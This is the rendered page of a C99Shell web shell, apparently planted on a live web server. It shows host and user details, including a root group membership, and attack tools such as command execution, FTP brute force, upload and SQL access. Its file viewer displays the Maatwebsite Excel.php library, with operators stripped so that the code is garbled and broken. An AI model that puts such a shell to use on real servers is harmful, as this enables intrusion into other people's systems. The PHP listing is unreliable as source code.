!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/maatwebsite/excel/src/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Excel.php (4.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Maatwebsite\Excel;

use 
Illuminate\Contracts\Queue\ShouldQueue;
use 
Illuminate\Foundation\Bus\PendingDispatch;
use 
Illuminate\Support\Collection;
use 
Maatwebsite\Excel\Files\Filesystem;
use 
Maatwebsite\Excel\Files\TemporaryFile;
use 
Maatwebsite\Excel\Helpers\FileTypeDetector;

class 
Excel implements ExporterImporter
{
    use 
RegistersCustomConcerns;

    const 
XLSX     'Xlsx';

    const 
CSV      'Csv';

    const 
TSV      'Csv';

    const 
ODS      'Ods';

    const 
XLS      'Xls';

    const 
SLK      'Slk';

    const 
XML      'Xml';

    const 
GNUMERIC 'Gnumeric';

    const 
HTML     'Html';

    const 
MPDF     'Mpdf';

    const 
DOMPDF   'Dompdf';

    const 
TCPDF    'Tcpdf';

    
/**
     * @var Writer
     */
    
protected $writer;

    
/**
     * @var QueuedWriter
     */
    
protected $queuedWriter;

    
/**
     * @var Filesystem
     */
    
protected $filesystem;

    
/**
     * @var Reader
     */
    
private $reader;

    
/**
     * @param  Writer  $writer
     * @param  QueuedWriter  $queuedWriter
     * @param  Reader  $reader
     * @param  Filesystem  $filesystem
     */
    
public function __construct(
        
Writer $writer,
        
QueuedWriter $queuedWriter,
        
Reader $reader,
        
Filesystem $filesystem
    
) {
        
$this->writer       $writer;
        
$this->reader       $reader;
        
$this->filesystem   $filesystem;
        
$this->queuedWriter $queuedWriter;
    }

    
/**
     * {@inheritdoc}
     */
    
public function download($exportstring $fileNamestring $writerType null, array $headers = [])
    {
        return 
response()->download(
            
$this->export($export$fileName$writerType)->getLocalPath(),
            
$fileName,
            
$headers
        
)->deleteFileAfterSend(true);
    }

    
/**
     * {@inheritdoc}
     */
    
public function store($exportstring $filePathstring $diskName nullstring $writerType null$diskOptions = [])
    {
        if (
$export instanceof ShouldQueue) {
            return 
$this->queue($export$filePath$diskName$writerType$diskOptions);
        }

        
$temporaryFile $this->export($export$filePath$writerType);

        
$exported $this->filesystem->disk($diskName$diskOptions)->copy(
            
$temporaryFile,
            
$filePath
        
);

        
$temporaryFile->delete();

        return 
$exported;
    }

    
/**
     * {@inheritdoc}
     */
    
public function queue($exportstring $filePathstring $disk nullstring $writerType null$diskOptions = [])
    {
        
$writerType FileTypeDetector::detectStrict($filePath$writerType);

        return 
$this->queuedWriter->store(
            
$export,
            
$filePath,
            
$disk,
            
$writerType,
            
$diskOptions
        
);
    }

    
/**
     * {@inheritdoc}
     */
    
public function raw($exportstring $writerType)
    {
        
$temporaryFile $this->writer->export($export$writerType);

        
$contents $temporaryFile->contents();
        
$temporaryFile->delete();

        return 
$contents;
    }

    
/**
     * {@inheritdoc}
     */
    
public function import($import$filePathstring $disk nullstring $readerType null)
    {
        
$readerType FileTypeDetector::detect($filePath$readerType);
        
$response   $this->reader->read($import$filePath$readerType$disk);

        if (
$response instanceof PendingDispatch) {
            return 
$response;
        }

        return 
$this;
    }

    
/**
     * {@inheritdoc}
     */
    
public function toArray($import$filePathstring $disk nullstring $readerType null): array
    {
        
$readerType FileTypeDetector::detect($filePath$readerType);

        return 
$this->reader->toArray($import$filePath$readerType$disk);
    }

    
/**
     * {@inheritdoc}
     */
    
public function toCollection($import$filePathstring $disk nullstring $readerType null): Collection
    
{
        
$readerType FileTypeDetector::detect($filePath$readerType);

        return 
$this->reader->toCollection($import$filePath$readerType$disk);
    }

    
/**
     * {@inheritdoc}
     */
    
public function queueImport(ShouldQueue $import$filePathstring $disk nullstring $readerType null)
    {
        return 
$this->import($import$filePath$disk$readerType);
    }

    
/**
     * @param  object  $export
     * @param  string|null  $fileName
     * @param  string  $writerType
     * @return TemporaryFile
     *
     * @throws \PhpOffice\PhpSpreadsheet\Exception
     */
    
protected function export($exportstring $fileNamestring $writerType null): TemporaryFile
    
{
        
$writerType FileTypeDetector::detectStrict($fileName$writerType);

        return 
$this->writer->export($export$writerType);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--